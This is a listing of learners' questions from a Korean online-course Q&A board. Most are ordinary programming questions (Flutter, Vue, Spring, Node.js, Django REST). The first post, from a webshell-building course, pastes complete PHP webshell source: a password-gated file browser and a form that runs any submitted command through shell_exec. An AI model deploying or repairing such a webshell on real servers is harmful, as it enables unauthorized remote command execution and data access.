묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨Skill-Up! 배워서 바로 쓰는 웹쉘 제작
죄송합니다;; 또 에러가 나네요(해결해주세요.)
이번엔 그 7월 전꺼 리마스터 처럼 필요한 부분(파일 브라우저, 커맨드, 인증 기능)만 만들려고 해봤는데 갑자기 에러가 나네요. error.log도 봤는데 해결 못하겠어서요. 소스입니다;; <? session_start(); header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $inputPW = $_POST["inputPw"]; $accessPw = "jorkdhnghks6352"; ##!access password!## $accessFlag = $_SESSTION["accessFlag"]; if($accessFlag == "Y"); { if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } if ($mode == "login" && ($accessPW == $inputPW)) { $_SESSION["accessFlag"] = "Y"; echo "<script>location.href= '{$page}'</script>"; exit(); } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>SPACEPIG's Webshell</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <? if ($accessFlag != "Y") { ?> <h3>Login</h3> <hr> <form action="<?=$page?>?mode=login" method="POST"> <div cLass="input-group"> <span clLass="input-group-addon">Password</span> <input type="password" class="form-control" pLacehoLder="Password Input..." name="inputPw"> </div> <br> <p cLass="text-center"><button class="btn btn-default" type="submit">Auth</button></a> </form> <? } else { ?> <h3>Webshell ver.0.0.1.Beta <small>Created by Spacepig</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <?if($mode == "logout") echo "class=\"active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <?if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" metho="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%"class="text-center">Name</th> <th style="width: 20%" class="text-center">Type</th> <th style="width: 30%" class="text-center">Date</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align : middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></td> <td style="vertical-align : middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align : middle" class="text-center"> <? if($dirList[$i] != "..") { ?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> <? } ?> </td> </tr> <? } ?> <? } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align : middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align : middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align : middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> </td> </tr> <? } ?> </tbody> </table> </div> <? } else if(empty($mode) || $mode == "command") { ?> <form action="<?=$page?>?mode=command" method="POST"> <div class="input-group"> <span cLass="input-group-addon">Command</span> <input type="text" cLass="-form-control" pLacehoLder="Command Input..." name="command" value="<?=$command?>"> <span cLass="input-group-btn"> </span> </div> <br> <div class="btn-group btn-center" role="group" aria-label="..."> <p class="text-center"><button cLass="btn btn-default" type="submit">Execution</button></a> </div> </form> <? if(!empty($_POST["command"])) { echo "<hr>"; $result = shell_exec($_POST["command"]); $result = str_replace("\n", "<br>", $result); $result = iconv("CP949", "UTF-8", $result); echo "𝙍𝙀𝙎𝙐𝙇𝙏", "<br>", $result; } ?> <? } ?> <? } ?> <hr> <p class="text-muted text-center">Copyright© 2022, Spacepig, All rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>
-
미해결Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
Lost connection to device
Lost connection to device 오류가 나옵니다. 1번 버튼을 누르고 디버깅 상태에서 2번이 타며, 그리고 나서 연결 기기 끊김이라는 메세지가 나오면서 팅기는 현상이 나타납니다. 원인을 도저히 찾을수가 없네요. 현재 flutter 버전은 2.10.2 최신버전이며, image_picker 버전은 0.8.5 최신버전으로 적용상태 입니다. image_picker: ^0.8.5
-
미해결웹게임을 만들며 배우는 인터렉티브웹! JAVASCRIPT
몬스터나 npc의 위치가 일정 크기를 넘어가면 히어로가 사라집니다.
몬스터든 npc든 생성 위치를 조금만 크게 잡아도 히어로가 이동하다 말고 사라집니다.(생성 위치를 600정도로 작게 잡으면 문제가 없습니다.) 수업을 들으며 똑같이 코딩했는데도 불구하고 이러한 현상이 나타나서 올려주신 complete 코드의 마지막 완성 코드를 실행해 봤는데도 마찬가지입니다. 아래 GIF 파일은 제공해주신 코드를 실행한 모습입니다.. 며칠째 이런 문제가 해결되지 않아 어떻게 해야될지 몰라 질문드립니다.
-
미해결Do it! 자바 프로그래밍 입문 with 은종쌤
outer클래스의 내부 static 클래스의 static메서드에서 변수사용불가?
outer클래스의 내부 static 클래스의 static메서드인 sTest()에서 왜 iNum변수 참조를 못하나요? iNum변수는 static 클래스의 멤버변수로 선언되었으니까 static클래스 객체가 생성이 안되어도 사용 가능한거 아닌가요? 클래스가 static으로 정의되어도 그 클래스의 인스턴스 변수들은 객체의 생성과 관계가 있나보네요?
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 실전편 (인공지능 수익화)
이런 경우 ID 입력 하려고 id 입력 input 상자를 어떻게 클릭하나요?
F12 개발자 도구로 본 화면 입니다. ID/Password 입력하는 input 박스의 class 명이 동일합니다. 다만 name 이라는 이름으로 서로 다르긴 한데 이럴경우 selenium 에서ID/Pass 를 각각 클릭하려고 하는데 CSS선택자를 뭐로 해야 하는지요?
-
미해결이미지 관리 풀스택(feat. Node.js, React, MongoDB, AWS)
이 강의에서 가르치는 이미지 관리 방식을 뭐라고 하나요?
안녕하세요. 강의 잘 수강하였습니다. 이 강의에서 나온 것처럼 이미지를 w160, w600 raw등으로 분류하여 여러 이미지를 저장하고, 필요한 사이즈에 맞는 이미지를 보여주는 방식을 뭐라고 칭하는지 궁금합니다.
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
cookie2.js 에서 한번에 2개의 쿠키를 보내는 방법에 대해 질문드립니다
강사님 안녕하세요 아래의 cookie2.js에서 32행, 33행의 초록색 박스로 표시한 부분을 봐주시면요 저는 Path=/` 에도 유효한 쿠키를 보내고 싶었고 Path=/Hello`, 에도 유효한 쿠키를 보내고 싶었습니다 그래서 쿠키를 res.writeHead(302, { Location: '/', 'Set-Cookie': `name=${encodeURIComponent(name2)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/`, 'Set-Cookie': `name=${encodeURIComponent(name2)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/Hello`, }); 이렇게 2개를 적었습니다 문제는 아래의 사진처럼 아무리 로그인을 시도해도 쿠키가 생기지 않았습니다 혹시 그 이유를 가르쳐주시면 감사하겠습니다
-
미해결블렌더 왕초보 입문 기초강의
화면에서 screencast keys 항목이 없어요!
안녕하세요. 강의 잘 듣고 있습니다 강의중에 screencast keys 항목을 설정하셨는데 저는 항목/ 도구 / 뷰 만 있고 screencast keys라는 항목이 없습니다. 스페이스바로 검색을 해봐도 해당 기능이 없는데 혹시 설정하는 방법이 있을까요?
-
미해결언리얼 엔진4 입문 (C++ 기반)
MyAnimInstance에 Speed의 property를 BlueprintReadOnly로 했는데 블루프린트에서 수정이 되나요?
MyAnimInstance에 Speed의 property를 BlueprintReadOnly로 했는데 수업 영상에서 볼 수 있듯이, 블루 프린트 화면?에서 애님 프리뷰 에디션에서 Speed를 수정할 수 있는데 BlueprintReadOnly에서 읽기만 가능하고 쓰기는 불가능하다는 의미가 아닌가요?
-
미해결부트스트랩 5(Bootstrap 5) - 기초부터 웹 프로젝트 만들기
1-3-4강의 영상 3-4분 사이가 이상합니다, 입력하지 않은 코드가 갑자기 나와요 ㅡㅡ
1-3-4강의 영상 3~4분 사이가 이상합니다, 입력하지 않은 코드가 갑자기 나와요 ㅡㅡ 영상편집이 좀 이상합니다. 84번라인이 갑자기 변경됨
-
미해결딥러닝 CNN 완벽 가이드 - TFKeras 버전
선생님 크기 개념이 헷갈립니다
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 정리하자면, Kernel Size는 필터의 크기이고, Receptive Field는 이 필터가 한 번에 보게되는 이미지의 크기라고 봐도 될까요? 말하고보니 둘이 같은 것 같기도 하고 ... 괜히 헷갈리네욥 ..
-
미해결Slack 클론 코딩[실시간 채팅 with React]
Cannot find name 'SuggestionDataItem'.
SuggestionDataItem을 찾을 수 없다 나오는 데요 어디가 문제일까요? https://github.com/todayscoding/chatting_app/commit/be8f87bad5a5fb581f1dc76b817407ae50d9ce0c
-
미해결플렉스(Flex) 반응형 웹사이트 포트폴리오(The World's Best Cities)
반응형 헤더 네비게이션 공부중인데요. 궁금한것이 있어서요.
이미지로 올려 드릴께요^^
-
미해결Vue.js 시작하기 - Age of Vue.js
vuex와 route에 대해…
안녕하세요. vuex가 새로고침을 하면 state가 날아가버리기 때문에 action이나 mutation을 컴포넌트의 created훅에 넣어서 쓰고 있습니다. 이렇게 하면 해당 컴포넌트에는 문제 없이 state가 유지되는데, getters를 불러들인 뒤 해당 컴포넌트의 하위 컴포넌트에 props데이터로 넘겨주면, vue개발자 도구로 보기에는 분명히 값이 존재하는데 하위 컴포넌트에서는 값이 존재하지 않게 됩니다. console.log를 작동시켜 보면 빈 값이 나오네요. 하위 컴포넌트가 라우팅에 따라서 다르게 보여져야 할 부분이라 <router-view :gettersData="gettersData"/> 이런 식으로 넣었는데 혹시 router-view 태그는 props를 받지 못하는 건지 궁금합니다. 만약 문제 없이 받을 수 있다면, 혹시 router-view가 중첩되서 발생하는 문제가 아닐까 싶네요. 지금 컴포넌트 구조가... //parent comp<router-view/> //child comp <div></div> //repetitive comp<router-view :gettersData="gettersData"/> 이런 모양새라서 혹시 router-view 태그가 중첩 되면 안되는 건가 싶기도 하고 그렇네요. 질문을 요약해보자면, 1. Getters를 하위 컴포넌트의 props로 넘겨도 되는지? 2. Router-view 태그로도 props를 보낼 수 있는지? 3. router-view 태그를 부모와 자식 태그에서 중첩해서 사용해도 되는지? 정도가 될 것 같습니다. 감사합니다!
-
미해결스프링 시큐리티
AuthenticationException은 어떤 경우에 발생하는지
AccessDeniedException은 예시를 보여주셔서 예외가 발생하는 경우를 알겠는데 AuthenticationException은 어떤 경우에 발생하는지 잘 모르겠습니다 ㅜㅜ
-
미해결Slack 클론 코딩[실시간 채팅 with React]
로그인 후, navigate()로 채널로 이동시 페이지 에러 관련
에러의 연속이네요..ㅠㅠ 회원가입, 로그인은 전부 잘 되는데 로그인 후에 아래 코드대로라면 채널페이지가 나와야 하는데 if (data) { navigate('/workspace/channel'); return null; } 저 주소로 넘어가긴 하는데 넘어가서 아래 사진처럼 에러가 계속 뜹니다.. 참고로 위 사진처럼 에러 뜨기 전에는 you cannot render a <router> inside another <router>. you should never have more than one in your app. 이런 에러메세지가 나왔는데, 이건 라우터가 중복이라서 나오는거라고 해서 (그렇지만 저는 다른 파일에서도 'Routes'와 'Route'만 썼지, 'BrowserRouter'를 쓰진 않았는데.. 라우터 중복이라는 에러가 왜 나왔는지 모르겠네요) app.tsx파일에서 {BrowserRouter as Router} 를 지우니까 이 메세지는 안나오고 현재는 위 사진과 같이 메세지가 나옵니다.
-
미해결스프링 핵심 원리 - 기본편
request scope bean의 생성을 지연한다는 의미가 무엇일까요?
[질문 템플릿]1. 강의 내용과 관련된 질문인가요? 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? 예[질문 내용]안녕하세요 공부 중 궁금한 게 있어서 질문드립니다. 1. ObjectProvider.getObject()를 호출하는 시점까지 request scope bean의 생성을 지연한다고 설명해주셨는데요. provider를 사용하지 않는다면 스프링 어플리케이션을 실행하는 시점에 싱글톤 빈은 생성해서 주입이 가능하지만, request scope bean은 실제 고객 요청이 오지 않아 생성되지 않는 문제가 생기잖아요? 그런데 제가 조금 헷갈린 건 실제 고객 요청이 오기 전이라 request scope bean이 생성되지 않는데 왜 윗 문단처럼 request scope bean의 생성을 지연한다고 말씀하신걸까요?ㅠㅠ 궁금한 점은 고객이 요청하기 전에는 scope빈이 생성되지 않는데 그걸 왜 http 요청이 오기전까지 지연을 시키는 지 입니다... 감사합니다.
-
미해결자바 ORM 표준 JPA 프로그래밍 - 기본편
여러곳에서 한 테이블의 list가 필요한 경우엔?
만약 다음과 같이 여러곳에서 image라는 테이블을 참조한다면.. 그땐 어떻게 코드를 구현해야하는건가요?프로젝트와 이미지는 1:n관계지만 이를 일대다로도 다대일로도 구현할 수있잖아요?1. 만약에 다대일 양방향으로 구현 2. 일대다 단방향으로 구현 >>첫번째질문 : 어느것으로 해도 상관없나요? 근데 2번 방법을 지양하라고 하셨던 것 같아요 그래서 만약 1번 방법으로 한다고 가정할게요. 이미지 테이블같은경우 어떨땐 프로젝트의 이미지가 될수있고 (그러면 게시글의 이미지는 아닐테니 게시글_id값은 null이 되겠죠) 어떨땐 게시글의 이미지가 되겠죠..? >>두번째질문 : 근데 이 이미지가 게시글의 이미지인지 프로젝트의 이미지인지가 중요할까요..? >>세번째질문 : 만약에 중요하다면 enum을 사용하여 어떤 것의 이미지인지를 반환하는 메서드를 만들어주면되는건가요/?
-
미해결Kotlin으로 개발하는 Spring Boot Web MVC
jsonPath
안녕하세요 jsonPath 를 사용할떄 계속 타입 미스매치가 나오는데... 이건 시간이 지나면서 업데이트가 되면서 바뀐건가요??..
-
해결됨Django REST Framework 핵심사항
강의를 보고 응용해보는데 잘 안되어서 질문드립니다. simplejwt와 dj_rest_auth 이용
강의내용에 없는 질문인데, 강의를 보고, login도 해보고싶어져서 simple jwt와 dj_rest_auth를 이용해보고 있습니다. 로그인을 한 후, 토큰과 user정보를 받는데, 여기서 토큰은 냅두고, user정보에 data를 더 추가하고싶습니다. 제가 나타내고 싶은건 다음 코드처럼입니다. { "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjQ5NDEyNTQ1LCJpYXQiOjE2NDk0MTIyNDUsImp0aSI6ImIzMTA1MmM3OTQ0MzRlMTliN2FkOGM4ZmFhY2E2YTY0IiwidXNlcl9pZCI6MX0.kav5n-c1K5OnGIYlDE7dVlKn4V-08NHEv73V914E0nY", "refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTY0OTQ5ODY0NSwiaWF0IjoxNjQ5NDEyMjQ1LCJqdGkiOiJhYWM4ODdkMGNlOWE0NzM5YmQxMDQ1ZTY2YjgxN2MyZCIsInVzZXJfaWQiOjF9.1qdC1du1CCpUpWlqfgI-bHOafJGbqQGKwzNXS3QRYWg", "user": { "pk": 1, "email": "test@naver.com" "nickname": "inlearn", "address": "Seoul", } } dj_rest_auth의 LoginSerializer를 수정해보려하는데 어디를 수정해야 할지 모르겠어서 질문드립니다.